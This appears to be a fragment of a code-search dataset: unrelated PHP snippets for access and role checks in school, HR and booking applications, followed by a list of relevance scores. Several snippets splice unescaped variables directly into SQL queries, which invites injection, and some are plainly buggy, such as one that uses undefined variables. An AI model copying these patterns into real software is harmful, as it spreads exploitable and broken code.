test_that_authorized_user_can_view_courses_within_other_periods()\n {\n \n }", "function userCanGetStudentInterims( $studentID ) {\r\n\t\treturn $this->userCanViewStudent('');\r\n\t}", "private function Get_Instructor_Status($instructor_id,$course_id)\n {\n $sql = \"SELECT status FROM `approval_special`\n WHERE instructor_id = \".$instructor_id. \" AND `semester_id` = \".$this->DEADLINE['id'];\n $status = 7;\n $this->DB->Change_DB($this->DEFAULT_DB);\n $result = $this->DB->Query($sql);\n if($result)\n {\n for($i=0;$i<count($result);$i++)\n {\n $temp_status = $result[$i]['status'];\n if($temp_status < $status)\n {\n $status = $temp_status;\n }\n }\n return $status;\n }\n else\n {\n return false;\n }\n\n }", "function getStudentByInstitutionValidate(){\n\t\t \n\t\tif(@$this->country == \"\" | @$this->institution == \"\"){\n\t\t\t$respArray = $this->makeResponse(\"ERROR\", \"Both the country and institution are required!\", \"\");\n\t\t\techo $this->jsoncallback.\"(\".json_encode($respArray).\")\";\n\t\t\texit;\n\t\t}else{\n\t\t\t\n\t\t\t$this->basics->getStudentByInstitution( $this->sanitize($this->institution), $this->sanitize($this->country) );\n\t\t\t\n\t\t}\n\t\t\n\t\t\n\t}", "public function canBeFree()\n {\n return count($this->getCurrentStudentCareerSchoolYear()) > 0;\n\n }", "public function authorize()\n {\n return Auth()->user()->isAbleTo('school_sections-create');\n }", "function isLider() {\n if (\\Illuminate\\Support\\Facades\\Auth::user()->rol_id == 2) {\n return true;\n } else {\n return false;\n }\n }", "public function getHasPermittedOccupiersOnly()\n {\n return $this->hasPermittedOccupiersOnly;\n }", "function add_warning_if_franchisee_in_group_with_fulltime_course () {\n global $pagenow;\n\n if ( $pagenow == 'post.php' && get_post_type() == 'groups' ) {\n\n $group_id = get_the_id();\n $group_enrolled_courses = learndash_group_enrolled_courses ( $group_id );\n \n foreach ( $group_enrolled_courses as $course ) {\n if ( in_category( 'Full Time', $course) )\n \n $group_user_ids = learndash_get_groups_user_ids ( $group_id );\n \n foreach ( $group_user_ids as $user ) {\n if ( user_can ( $user , 'subscriber' ) ) {\n \n ?>\n <div class=\"update-nag notice\">\n <p><?php _e( '<strong>WARNING: </strong>You have enrolled a full time course in a group that contains franchisees. Please ensure you mean to do this as full time courses contain content that is not geared toward franchisees.', 'my_plugin_textdomain' );?></p>\n </div>\n <?php \n\n return;\n }\n }\n }\n \n }\n}", "function is_group_at_risk( $class_id ) {\n\t$class_id = get_post_meta( $group_id, 'class', true );\n\n\treturn is_class_at_risk( $school_id );\n}", "public function allowedForOvertime()\n { return (($this->esgrp == 'ES') || ($this->esgrp == 'EF') || ($this->esgrp == 'F')) ? true : false;\n }", "public function isprojectstudent()\n {\n return $this->hasuser() && $this->user()->isprojectstudent();\n }", "public function hasTerritory() {\n return $this->_has(5);\n }", "function in_designation()\n {\n $haystack = func_get_args();\n $result = 0;\n\n if (Auth::user()->user_type == 'Employee'){\n $needle = Auth::user()->employee->designation->short_name;\n $result = in_array($needle, $haystack) ? 1 : 0;\n }\n\n return $result;\n }", "abstract function is_agency();", "function report_availabilty($student_id)\n {\n global $CFG;\n\n $now=time();\n\n //if a maximum number of entries has been set lets see if the student has reached this number\n if (!empty($this->reportmaxentries)) {\n $studententries = $this->dbc->count_report_entries($this->report_id,$student_id);\n\n if ($studententries >= $this->reportmaxentries) {\n $extension = $this->extension_check('reportmaxentries');\n\n if (empty($extension) || $studententries >= $extension->value) {\n $temp = new stdClass();\n $temp->entries = $studententries;\n $temp->maxentries = (!empty($extension))? $extension->value : $this->reportmaxentries;\n return false;\n }\n }\n }\n\n //if this report has a lock date check if the date has passed\n if ($this->reporttype == ILP_RT_RECURRING_FINALDATE || $this->reporttype == ILP_RT_FINALDATE) {\n\n if ( $this->reportlockdate < $now ) {\n //find out if this student has been given a report extension\n $extension = $this->extension_check('reportlockdate');\n if (empty($extension) || $extension->value < $now) {\n $temp = new stdClass();\n $temp->expiredate = (!empty($extension))? date('d-m-Y',$extension->value) : date('d-m-Y',$this->reportlockdate);\n return false;\n }\n }\n }\n\n //if the report is a recurring report\n if ($this->reporttype == ILP_RT_RECURRING || $this->reporttype == ILP_RT_RECURRING_FINALDATE) {\n $recurringstart = 0;\n\n if ($this->recurstart == ILP_RECURRING_REPORTCREATION) {\n //rules started at report creation\n $recurringstart = $this->timecreated;\n } else if ($this->recurstart == ILP_RECURRING_SPECIFICDATE) {\n //rules started at specific date\n $recurringstart = $this->recurdate;\n } else {\n //rules started at first entry\n $studententries = $this->dbc->get_user_report_entries($this->id,$student_id);\n\n if (!empty($studententries)) {\n //get the creation time of the first user entry\n $recurringstart = reset($studententries);\n $recurringstart = $recurringstart->timecreated;\n }\n }\n\n if (!empty($recurringstart)) {\n $recurringperiod = $this->recurring_period($recurringstart,$this->recurfrequency);\n\n $entriescount = $this->dbc->count_report_entries($this->id,$student_id,$recurringperiod['start'],$recurringperiod['end']);\n\n if (!empty($entriescount) && $entriescount >= $this->recurmax) {\n $extension = $this->extension_check('recurmax');\n if (empty($extension) || $extension->value <= $entriescount) {\n $temp = new stdClass();\n $temp->entries = $entriescount;\n $temp->maxentries = (!empty($extension))? $extension->value : $this->recurmax;\n return false;\n }\n }\n }\n }\n return true;\n }", "function is_course_modifiable($course_id) {\n if (is_admins())\n return true;\n if (is_manager()) {\n // This is a manager. \n $courseTbl = new CourseTbl($course_id);\n if (!$courseTbl->Get())\n return false;\n if (!$courseTbl->detail['avail'])\n return false;\n global $login_uid;\n return ($courseTbl->detail['owner'] == $login_uid);\n }\n return false;\n}", "public function isStudent()\n\t{\n\t\treturn $this->isUser() && $this->user->getIsStudent();\n\t}", "public function isStudent(){\n\t\t// get user type\n\t\t$session_data = $this->session->userdata('logged_in'); // get userid from session\n\t\t\t\n\t\t// redirect to home if user is not a student\n\t\tif($session_data['usertype']!=0) redirect('/home');\n\t}", "public function hasInstitution() {\n return $this->_has(7);\n }", "function checkSponsoredLeftAndRight($userKey)\n {\n\t\t\n\t\tif(isset($userKey))\n\t\t{\t\t\t\t\t\t\n\t\t\t$leftSide = 0;\n\t\t\t$rightSide = 0;\n\t\t\t$status = '';\n\t\t\t\n\t\t\t$sql1 = \"SELECT user_id,user_key,sponsor_key,leg FROM \".WPMLM_TABLE_USER.\" WHERE sponsor_key = '\".$userKey.\"' AND banned='0' AND payment_status IN ('1','2')\";\n\t\t\t\t\t\t\t\t\n\t\t\t$rs1 = @mysql_query($sql1);\n\t\t\tif($rs1 && @mysql_num_rows($rs1)>0) \n\t\t\t{\n\t\t\t\twhile($row1 = @mysql_fetch_array($rs1))\n\t\t\t\t{\n\t\t\t\t\t$leg = $row1['leg'];\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\tif($leg==0){\n\t\t\t\t\t\t$leftSide = $leftSide + 1; \t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t}else if($leg==1){\n\t\t\t\t\t\t$rightSide = $rightSide + 1;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$referrerCriteria = get_option( 'wpmlm_eligibility_settings', true );\n\t\t\t\t \n\t\t\t\t/*this condition is for switch criteria if not found*/\n\t\t\t\tif( ($leftSide >= $referrerCriteria['group1referrer'] && $rightSide >= $referrerCriteria['group2referrer']) || ($leftSide >= $referrerCriteria['group2referrer'] && $rightSide >= $referrerCriteria['group1referrer'] ) )\n\t\t\t\t{\n\t\t\t\t\t$status = \"TRUE\";\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t}else{\n\t\t\t\t\t$status = \"FALSE\";\n\t\t\t\t}\n\t\t\t\n\t\t\t}else{\n\t\t\t\t$status = \"FALSE\";\n\t\t\t}\n\t\t}\n\t\treturn $status; \t\n }", "public function isAgeRestricted()\n {\n return isset($this['over18']) ? $this['over18'] : false;\n }", "public function get_available_rights();", "function checkeschool() {\n\t\t$schoolid = $_REQUEST['data']['Member']['school_id'];\n\t\t\n\t\t\n\t\t\n\t\t$count = $this->Member->find('count', array(\n\t\t\t'conditions' => array(\n\t\t\t\t'Member.school_id' => $schoolid,\n\t\t\t\t'Member.group_id' => '4'\n\t\t\t)\n\t\t));\n\t\t\n\t\tif ($count > 0) {\n\t\t\techo 'false';\n\t\t} else {\n\t\t\techo 'true';\n\t\t}\n\t\t\n\t\tdie;\n\t\t\n\t\t\n\t}", "function checkeschool() {\n\t\t$schoolid = $_REQUEST['data']['Member']['school_id'];\n\t\t\n\t\t\n\t\t\n\t\t$count = $this->Member->find('count', array(\n\t\t\t'conditions' => array(\n\t\t\t\t'Member.school_id' => $schoolid,\n\t\t\t\t'Member.group_id' => '4'\n\t\t\t)\n\t\t));\n\t\t\n\t\tif ($count > 0) {\n\t\t\techo 'false';\n\t\t} else {\n\t\t\techo 'true';\n\t\t}\n\t\t\n\t\tdie;\n\t\t\n\t\t\n\t}", "function isViewer($wpUser){\n for($i = 0; $i < count($wpUser->roles); $i++){\n if(strpos($wpUser->roles[$i], SARON_ROLE_PREFIX . SARON_ROLE_VIEWER) !== FALSE){ // CHECK IF THE USER IS A MEMBER OF THE GROUP (test)saron_edit\n return true;\n }\n } \n return false; \n }", "public function check_avail(){ \n\t\tif(!empty($this->data['HrPermission']['per_from']) && !empty($this->data['HrPermission']['per_to']) && !empty($this->data['HrPermission']['per_date'])){\n\t\t\t// get used leave\n\t\t\t$date_str = $this->get_search_date($this->data['HrPermission']['per_date']);\n\t\t\t$this->unBindModel(array('hasOne' => array('HrPerStatus', 'HrPerUser')));\t\t\t\n\t\t\t$data = $this->find('all', array('fields' => array(\"TIME_FORMAT(SEC_TO_TIME( SUM( TIME_TO_SEC(no_hrs))), '%k:%i') as count\", 'HrPermission.id'), \n\t\t\t'conditions' => array('HrPermission.app_users_id' => $this->data['HrPermission']['user_id'], 'HrPermission.is_deleted' => 'N', 'is_approve !=' => 'R', \n\t\t\t'per_date like' => $date_str.'%')));\t\t\t\n\t\t\t$used = $data[0][0]['count'];\n\t\t\t\n\t\t\tif(empty($used)){\t\n\t\t\t\t$total_hrs = $this->data['HrPermission']['no_hrs'];\n\t\t\t}else{\n\t\t\t\t$total_hrs = $this->add_time($used, $this->data['HrPermission']['no_hrs']);\t\n\t\t\t}\n\t\t\t// find total usable hours\t\t\t\t\t\n\t\t\t$total_hrs = explode(':', $total_hrs);\t\t\t\n\t\t\t$avail = 2;\t\t\t\t\n\t\t\tif(($total_hrs[0] >= $avail && $total_hrs[1] > 0) || ($total_hrs[0] > 2)){ \n\t\t\t\treturn false;\n\t\t\t}else{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}", "public function getRestrictToWarehouse()\n {\n return $this->restrictToWarehouse;\n }", "public function hasRegion() : bool;", "public function getRestrictedToInstruments();", "function border_school(){\n\t\t\t$this->aah->check_access();\n\n\t\t\t$nav_id = $this->aah->get_nav_id(__CLASS__.'/border_school');\n\t\t\t$read_access = $this->aah->check_privilege('read',$nav_id);\n\t\t\t$add_access = $this->aah->check_privilege('add',$nav_id);\n\n\t\t\tif($read_access){\n\t\t\t\t$this->global_model->reinitialize_dao();\n\t\t\t\t$dao = $this->global_model->get_dao();\n\t\t\t\t$data['active_url'] = str_replace('::','/',__METHOD__);\n\n\t\t\t\t$sql = \"SELECT * FROM ref_dt2 WHERE provinsi_id='\".$this->_SYS_PARAMS[1].\"'\";\n\t\t\t\tif($this->session->userdata('admin_type_id')=='3'){\n\t\t\t\t\t$sql .= \" AND dt2_id='\".$this->session->userdata('dt2_id').\"'\";\n\t\t\t\t}\n\n\t\t\t\t$data['dt2_rows'] = $dao->execute(0,$sql)->result_array();\n\t\t\t\t$data['form_id'] = \"search-border-school-form\";\n\t\t\t\t$data['active_controller'] = $this->active_controller;\n\t\t\t\t$data['containsTable'] = true;\n\t\t\t\t$data['add_access'] = $add_access;\n\n\t\t\t\t$data_view = '';\n\t\t\t\tif($this->session->userdata('admin_type_id')=='3'){\n\t\t\t\t\t$data_view = $this->search_border_school_data(true);\n\t\t\t\t}\n\t\t\t\t$data['data_view'] = $data_view;\n\n\t\t\t\t$this->backoffice_template->render($this->active_controller.'/border_school/index',$data);\n\t\t\t}else{\n\t\t\t\t$this->error_403();\n\t\t\t}\n\t\t}", "public function isResearcher(){\n\t\t$member = Member::CurrentUser();\n\t\t$group = SiteConfig::current_site_config()->ResearchGroup();\n\t\tif($group && $member){\n\t\t\treturn $member->inGroup($group->Code);\n\t\t} else {\n\t\t\treturn false;\n\t\t}\t\n\t}", "public function hasStudyAcronym() {\n return $this->_has(10);\n }", "function getStudentBySchoolValidate(){\n\t\t\n\t\tif(@$this->school == \"\" | @$this->institution == \"\"){\n\t\t\t$respArray = $this->makeResponse(\"ERROR\", \"Both the school and institution are required!\", \"\");\n\t\t\techo $this->jsoncallback.\"(\".json_encode($respArray).\")\";\n\t\t\texit;\n\t\t}else{\n\t\t\t\n\t\t\t$this->basics->getStudentBySchool( $this->sanitize($this->school), $this->sanitize($this->institution) );\n\t\t\t\n\t\t}\n\t\t\n\t}", "function transStudents($students) {\r\n return ($students < MINIMUMSTUDENTS) ? TRUE : FALSE;\r\n }", "public function hasLover(){\r\n return $this->_has(3);\r\n }", "function validIndoor($indoorInterests)\r\n {\r\n foreach($indoorInterests as $interest) {\r\n if(!in_array($interest, $this->_dataLayer->getIndoor())) {\r\n return false;\r\n }\r\n }\r\n return true;//if selected interests are right not spoofed return true\r\n }", "function is_wholesale() {\n // Get $wpdb to use in queries\n global $wpdb;\n\n $woo_cust_id = get_current_user_id();\n $customer_class = $wpdb->get_var( $wpdb->prepare( \"SELECT CUSTCLAS FROM randys_customers WHERE WooCustID=%d\", $woo_cust_id ) );\n\n $is_wholesale = 'wholesale' === strtolower($customer_class) ? true : false;\n return $is_wholesale;\n}", "public static function get_facilities_which_are_online($county_id){\n$q = Doctrine_Manager::getInstance()->getCurrentConnection()->fetchAll(\"SELECT facility_code, facility_name,f.district\nFROM facilities f, districts d\nWHERE f.district = d.id\nAND d.id =$county_id\nAND UNIX_TIMESTAMP( `date_of_activation` ) >0\nORDER BY `facility_name` ASC \");\nreturn $q;\t\n}", "public function testManyDisciplineNameReturn()\n {\n $result = false;\n $student = new StudentProfile();\n $course = new Course();\n $course->set(\"department\",\"MUSI\");\n $student->set(\"courses\",$course);\n $course2 = new Course();\n $course2->set(\"department\",\"CPSC\");\n $student->set(\"courses\",$course2);\n $status = check24Discipline($student);\n if(count($status[\"reason\"]) == 1 && $status[\"result\"] == true && $status[\"dept\"] == (\"MUSI,CPSC\"))\n $result = true;\n $this->assertEquals(true, $result);\n }", "function can_access($min_level, $redirect = 'bienvenido'){\n if(! $this->CI->session->userdata('user') || $min_level > $this->CI->session->userdata('user')->level){\n redirect($redirect, 'refresh');\n } \n }", "function check_user_has_data_access($survey_id,$user_id)\n\t{\n\t\t$requests=$this->get_user_study_n_collection_requests($survey_id,$user_id);\n\t\t\t\n\t\t\tforeach($requests as $request)\n\t\t\t{\n\t\t\t\tif ($request['status']=='APPROVED')\n\t\t\t\t{\n\t\t\t\t\treturn TRUE;\n\t\t\t\t}\n\t\t\t}\n\t\n\t\treturn FALSE;\n\t}", "public function testDisciplineNameReturn()\n {\n $result = false;\n $student = new StudentProfile();\n $course = new Course();\n $course->set(\"department\",\"MUSI\");\n $student->set(\"courses\",$course);\n $course2 = new Course();\n $course2->set(\"department\",\"MUSI\");\n $course2->set(\"courseTitle\",\"CPSC\");\n $student->set(\"courses\",$course2);\n $course3 = new Course();\n $course3->set(\"department\",\"CPSC\");\n $student->set(\"courses\",$course3);\n $status = check24Discipline($student);\n if(count($status[\"reason\"]) == 2 && $status[\"result\"] == true && $status[\"dept\"] == \"MUSI\")\n $result = true;\n $this->assertEquals(true, $result);\n }", "public function authorize(): bool\n {\n return auth()->user()->can('create academic year unit levels');\n }", "function userCanModifyStudent( $sessionID){\r\n\t\treturn $this->getAccessLevel() > 8;\r\n\t}", "function egsr_staff_cap(){\n \n return Array ( \n 'read' => true,\n );\n}", "function woolman_student_relationship($cid, $op) {\n if ($op == 'create') {\n $pref = woolman_semester_pref($cid);\n if ($semester = woolman_aval($pref, 'semester')) {\n $pref = array_keys($semester);\n $semester = $pref[0];\n }\n else {\n return;\n }\n }\n switch ($op) {\n case 'create':\n $params = array(\n 'relationship_type_id' => 10,\n 'contact_id_a' => $cid,\n 'contact_id_b' => WOOLMAN,\n );\n list($params['start_date'], $params['end_date']) = explode('--', $semester);\n woolman_relationship_add_or_update($params, TRUE);\n break;\n\n case 'delete':\n foreach (woolman_find_relations($cid, '10', FALSE) as $id => $rel) {\n if ($rel['contact_id'] == WOOLMAN) {\n woolman_civicrm_api('relationship', 'delete', array('id' => $id));\n }\n }\n break;\n }\n}", "function canBookRoom($startDate,$endDate,$roomID)\n {\n $result = \"TRUE\";\n $query = $this->db->query(\"SELECT * FROM bookings where roomID = $roomID\");\n if($query->num_rows()>0)\n {\n $bookings=$query->result_array();\n\n\n for ($i =0 ; $i < count($bookings); $i++)\n {\n $bookStartTime = $bookings[$i][\"startDate\"];\n $bookEndTime = $bookings[$i][\"endDate\"];\n\n if ($startDate >= $bookStartTime && $startDate <=$bookEndTime)\n {\n $result = \"FALSE\";\n return $result;\n }\n if ($endDate >= $bookStartTime && $endDate <= $bookEndTime)\n {\n $result = \"FALSE\";\n return $result;\n\n }\n }\n }\n return $result;\n\n }", "public function rol_conductor_not_access()\n {\n if ($this->rol != 1 && $this->rol != 2) {\n exit($this->httpResponse(\"error\", \"forbbiden\", \"Your role do not have permission\", 403)->json());\n }\n }", "public function isSubCountyCoordinator()\n {\n if($this->hasRole('Sub-County Coordinator'))\n return true;\n else\n return false;\n }", "private function userHasResources() {\n $utenti = new MUtenti;\n foreach ($utenti->find(array(), $utenti->getPosition()) as $itemUtenti) {\n if ($itemUtenti[$_POST['nomeRisorsaOfferta']] < $_POST['quantitaOfferta']) {\n return false;\n }\n }\n return true;\n }", "function isOnLeave($guardid){\n\t$resultarray = getRowAsArray(\"SELECT * FROM leaveapplications WHERE leaveenddate > '\".date(\"Y-m-d H:i:s\", strtotime(\"now\")).\"' AND leavestartdate < '\".date(\"Y-m-d H:i:s\", strtotime(\"now\")).\"' AND isactive='Y' AND guardid='\".$guardid.\"'\");\n\t\n\t$response = array(FALSE,\"\",\"\");\n\t\n\t//Check for only those that were approved\n\tif($resultarray['leavetype'] == \"Annual\" && $resultarray['gmapproved'] == \"Y\"){\n\t\t$response = array(TRUE, $resultarray['leavestartdate'], $resultarray['leaveenddate'], $resultarray['sold']);\n\t\t\n\t} else if($resultarray['leavetype'] == \"Pass Leave\" && $resultarray['humanresourceapproved'] == \"Y\" && $resultarray['payrollclerkapproved'] == \"Y\"){\n\t\t$response = array(TRUE, $resultarray['leavestartdate'], $resultarray['leaveenddate'], $resultarray['sold']);\n\t\t\n\t} else if($resultarray['humanresourceapproved'] == \"Y\" && $resultarray['payrollclerkapproved'] == \"Y\" && $row['operationsapproved'] == \"Y\"){\n\t\t$response = array(TRUE, $resultarray['leavestartdate'], $resultarray['leaveenddate'], $resultarray['sold']);\n\t}\n\t\n\treturn $response;\n}", "public function rol_conductor_only_access()\n {\n if ($this->rol != 3) {\n exit($this->httpResponse(\"error\", \"forbbiden\", \"Your role do not have permission\", 403)->json());\n }\n }", "function userCanCreateOrReplaceStudent( $sessionID ) {\r\n\t\treturn $this->getAccessLevel() > 9;\r\n\t}", "function isRestricted() {\t\n\n\t\tif (isset($_SESSION['logged-in']) && $_SESSION['isAdmin']) {\n\t\t}\n\t\telse\n\t\t{\n\t\t\theader(\"Location: restricted.php\");//Instant Re direct to Restricted due to lack of permissions.\n\t\t}\t\t\t\n\t}", "function is_allowed($right, $publication_id = null)\r\n {\r\n $studentview = Session :: retrieve('studentview');\r\n if ($studentview == 1)\r\n {\r\n return false;\r\n }\r\n\r\n if ($this->get_parent()->is_teacher())\r\n {\r\n return true;\r\n }\r\n\r\n if ($publication_id)\r\n {\r\n return WeblcmsRights :: is_allowed_in_courses_subtree($right, $publication_id, WeblcmsRights :: TYPE_PUBLICATION, $this->get_course_id());\r\n }\r\n else\r\n {\r\n $category_id = Request :: get(WeblcmsManager :: PARAM_CATEGORY);\r\n if ($category_id)\r\n {\r\n return WeblcmsRights :: is_allowed_in_courses_subtree($right, $category_id, WeblcmsRights :: TYPE_COURSE_CATEGORY, $this->get_course_id());\r\n }\r\n\r\n if ($this->get_tool_id() == 'home')\r\n {\r\n return WeblcmsRights :: is_allowed_in_courses_subtree($right, 0, RightsUtilities :: TYPE_ROOT, $this->get_course_id());\r\n }\r\n\r\n $module_id = WeblcmsDataManager :: get_instance()->retrieve_course_module_by_name($this->get_course_id(), $this->get_tool_id());\r\n return WeblcmsRights :: is_allowed_in_courses_subtree($right, $module_id->get_id(), WeblcmsRights :: TYPE_COURSE_MODULE, $this->get_course_id());\r\n }\r\n }", "public function test_if_a_member_has_more_than_18_years_old_and_has_less_than_2_years_of_seniority()\n {\n $this->assertEquals(\"silver\", $this->useCase->execute(20, 1));\n }", "function userCanGetStudentIssues( $studentID ) {\r\n\t\treturn $this->userCanViewStudent('');\r\n\t}", "function checkResourceAvailability($resourceId){\n\t\trequire_once('./modules/mysql_connect.php');\n\t\t\n\t\t$q = \"select count(apt_id) as used from appointments as a, resources_used as r where a.id=r.apt_id and ('$this->startDate'>=start_time and '$this->startDate'<end_time or '$this->endDate'>start_time and '$this->endDate'<=end_time) and r.description_id='$resourceId';\";\t\n\t\t\n\t\t$result = @mysql_query($q);\n\t\t\n\t\t$usedRooms = @mysql_fetch_assoc($result);\t\t\n\t\t\n\t\treturn $usedRooms['used'];\n\t \n\t }", "public function isRegion(){\n if($this->isBreaking_Region() || $this->isBreaking_Federal() || $this->isHF_Region() || $this->isHF_Federal() || $this->isFederal()){\n return true;\n }\n return $this->brki!=null && $this->brki->keyWord==\"Region\";\n }", "public function authorize()\n {\n $user = request()->user('api');\n return $user->isSenior();\n }", "public function checkSeatSpace($startDate, $endDate, $examId)\n {\n\n //This part checks if there is too many people to fit the block, or too many of the same exam for\n //every other seat to be the same exam\n $pdo = DatabaseConnection::getInstance();\n $statement = $pdo->prepare(\"CALL spGetAvail(:start_date, :end_date, :exam_id)\");\n $data = array(\"start_date\"=>$startDate, \"end_date\"=>$endDate, \"exam_id\"=>$examId);\n\n $statement->execute($data);\n $examCount = 0;\n $totalCount = 0;\n while($row = $statement->fetch()){\n $examCount = $row['ExamCount'];\n $totalCount = $row['TotalCount'];\n }\n\n if($totalCount >= self::TEMP_MAX){\n http_response_code(Http\\StatusCodes::CONFLICT);\n exit(\"No Desks Available\");\n }\n if($examCount >= self::TEMP_MAX/2){\n http_response_code(Http\\StatusCodes::CONFLICT);\n exit(\"Too many with the same exam\");\n }\n\n }", "public function schoolOfManagementAndCommerce(){\n $name = 'SCHOOL OF MANAGEMENT AND COMMERCE';\n $title = 'SMC';\n\t\t$students = DB::table('students')\n ->where('students.faculty', '=', 'SMC')->where('state', '=', 'Activated')\n ->whereNotIn('students.studentNo', function($q){\n $q->select('students_studentNo')->from('charge');\n })->paginate(15);\n return view('staff/faculty', compact('name','title','students'));\n\t}", "public function getSchool();", "function canSeeSequentialLessons($user_id, $program_id){\n\t\t$db = JFactory::getDbo();\n\n\t\t$sql = \"select `sequential_courses` from #__guru_customer where `id`=\".intval($user_id);\n\t\t$db->setQuery($sql);\n\t\t$sequential_courses = $db->loadResult();\n\n\t\tif(trim($sequential_courses) != \"\"){\n\t\t\t$sequential_courses = json_decode($sequential_courses, true);\n\n\t\t\tif(in_array(intval($program_id), $sequential_courses)){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}", "public function strathmoreBusinessSchool(){\n $name = 'STRATHMORE BUSSINESS SCHOOL';\n $title = 'SBS';\n\t\t$students = DB::table('students')\n ->where('students.faculty', '=', 'SBS')->where('state', '=', 'Activated')\n ->whereNotIn('students.studentNo', function($q){\n $q->select('students_studentNo')->from('charge');\n })->paginate(15);\n\n return view('staff/faculty', compact('name','title','students'));\n\t}", "public function is_student($params) {\n global $DB;\n\n $rolefilter = new in_filter($this->get_student_roles(), \"srole\");\n\n return $DB->record_exists_sql(\n \"SELECT ra.*\n FROM {context} cx\n JOIN {role_assignments} ra ON ra.userid = :userid AND\n ra.contextid = cx.id AND\n ra.roleid \" . $rolefilter->get_sql() . \"\n WHERE cx.instanceid = :courseid AND\n cx.contextlevel = :coursecontext\",\n array_merge([\n 'courseid' => $params['courseid'],\n 'coursecontext' => CONTEXT_COURSE,\n 'userid' => $params['userid'],\n ], $rolefilter->get_params())\n );\n\n }", "function hasSoldLeave($guardid, $date){\n\t$guardstatus = getRowAsArray(\"SELECT financialstatus FROM guards WHERE guardid = '\".$guardid.\"'\");\n\t\n\t$response = FALSE;\n\t\n\tif(trim($guardstatus['financialstatus']) == \"\"){\n\t\t$guardstatusarray = split(\",\", $guardstatus['financialstatus']);\n\t\tfor($i=0;$i<count($guardstatusarray); $i++){\n\t\t\t$guardfinance = getRowAsArray(\"SELECT * FROM guardfinance WHERE id='\".$guardstatusarray[$i].\"'\");\n\t\t\t\n\t\t\tif(date(\"d-M-Y\",strtotime($guardfinance['date'])) == date(\"d-M-Y\",strtotime($date)) && $guardfinance['category'] == \"Sold Leave\"){\n\t\t\t\t$response = TRUE;\n\t\t\t}\n\t\t}\n\t}\n\t\n\treturn $response;\n}", "function auth_book_admin($user, $room)\n{\n return (authGetUserLevel($user) >= 2);\n}", "public function request_to_volunteer_in_institution_std()\n {\n return $this->hasOne(request_to_volunteer_in_institution_std::class);\n }", "public function authorize()\n {\n return is_client_or_staff();\n }", "public function test_if_a_member_has_less_than_18_years_old_and_does_not_has_a_guarantor()\n {\n $this->assertEquals(null, $this->useCase->execute(15, 0, false));\n }", "public function authorize()\n {\n $staffSn = $this->staff_sn;\n $staff = Staff::visible()->find($staffSn);\n $authority = app('Authority');\n if (!empty($staffSn) && empty($staff)) {\n return false;\n }\n $departmentId = $this->department_id;\n if (!empty($departmentId) && !$authority->checkDepartment($departmentId)) {\n return false;\n }\n $brandId = $this->brand_id;\n if (!empty($brandId) && !$authority->checkBrand($brandId)) {\n return false;\n }\n return true;\n }", "public function isRestricted()\n {\n if ($this->_isRestricted !== null) {\n return $this->_isRestricted;\n }\n if ($this->private) {\n $this->_isRestricted = true;\n return true;\n }\n $tabs = array(\n 'source_access_rights',\n 'issues_access_rights',\n 'downloads_access_rights',\n 'wiki_access_rights',\n 'review_access_rights'\n );\n $conf = $this->getConf();\n foreach ($tabs as $tab) {\n if (!in_array($conf->getVal($tab, 'all'),\n array('all', 'none'))) {\n $this->_isRestricted = true;\n return true;\n }\n }\n $this->_isRestricted = false;\n return false;\n }", "public function hasSpecificAuthorization() {\n return $this->_has(10);\n }", "function show_group_standings() {\n return read_single_value('SELECT COUNT(*) FROM Classes') > 1;\n}", "private function addRestrictionToMedInfo(){\n if (LoginHelper::isACurrentPatient() || !LoginHelper::isLoggedIn()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized........!!</p>');\n }\n }", "function checkDirectSponsored($userKey)\n {\n\t\tif(isset($userKey))\n\t\t{\n\t\t\t$totalCriteria = 0;\t\t\t\n\t\t\t$sql = \"SELECT COUNT(user_key) AS total FROM \".WPMLM_TABLE_USER.\" \n\t\t\t\t\tWHERE sponsor_key = '\".$userKey.\"' AND banned='0' AND payment_status IN ('1','2')\";\n\t\t\t\t\t\n\t\t\t$rs = @mysql_query($sql);\n\t\t\tif($rs && @mysql_num_rows($rs)>0) \n\t\t\t{\n\t\t\t\t$row = @mysql_fetch_array($rs);\n\t\t\t\t$total = $row['total'];\n\t\t\t\t$referrerCriteria = get_option( 'wpmlm_eligibility_settings', true );\n\t\t\t\t\n\t\t\t\tif($total >= $referrerCriteria['directreferrer'])\n\t\t\t\t{\n\t\t\t\t\t$totalCriteria = \"TRUE\"; \n\t\t\t\t}else{\n\t\t\t\t\t$totalCriteria = \"FALSE\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $totalCriteria; \t\n }", "private function allowModify()\n { \n if($this->viewVar['loggedUserRole'] <= 40 )\n {\n return TRUE;\n }\n else\n {\n return FALSE;\n }\n }", "public function getIsRestriction()\n {\n return $this->isRestriction;\n }", "public function schoolofAccountancy(){\n $name = 'SCHOOL OF ACCOUNTANCY';\n $title = 'SOA';\n\t\t$students = DB::table('students')\n ->where('students.faculty', '=', 'SOA')->where('state', '=', 'Activated')\n ->whereNotIn('students.studentNo', function($q){\n $q->select('students_studentNo')->from('charge');\n })->paginate(15);\n return view('staff/faculty', compact('name','title','students'));\n\t}", "public function getScmsRestriction()\n {\n return $this->_scmsRestriction;\n }" ]
[ "0.549815", "0.54628545", "0.54512733", "0.54237336", "0.5420256", "0.5392128", "0.53758407", "0.5322004", "0.5313787", "0.52969724", "0.5254968", "0.5203218", "0.52002764", "0.5179445", "0.51171774", "0.5114437", "0.50993866", "0.50908023", "0.5089603", "0.5064196", "0.5055533", "0.5046393", "0.50324583", "0.5019162", "0.49939606", "0.4993484", "0.497823", "0.49723667", "0.49673277", "0.49627376", "0.4962566", "0.49606717", "0.49535894", "0.49496022", "0.49358207", "0.492772", "0.4923618", "0.49104416", "0.4873384", "0.4865932", "0.48607585", "0.48565593", "0.48565593", "0.4853282", "0.48503762", "0.48502702", "0.48474818", "0.48358688", "0.48352703", "0.48206252", "0.48204762", "0.48132178", "0.4810536", "0.4806217", "0.48020628", "0.47840968", "0.477344", "0.4761652", "0.47574863", "0.47562817", "0.47552082", "0.47480315", "0.47418484", "0.47415727", "0.4739995", "0.47360787", "0.47357422", "0.47342342", "0.47301692", "0.47298846", "0.47143605", "0.47000363", "0.46994275", "0.4689751", "0.46874195", "0.4674785", "0.46727583", 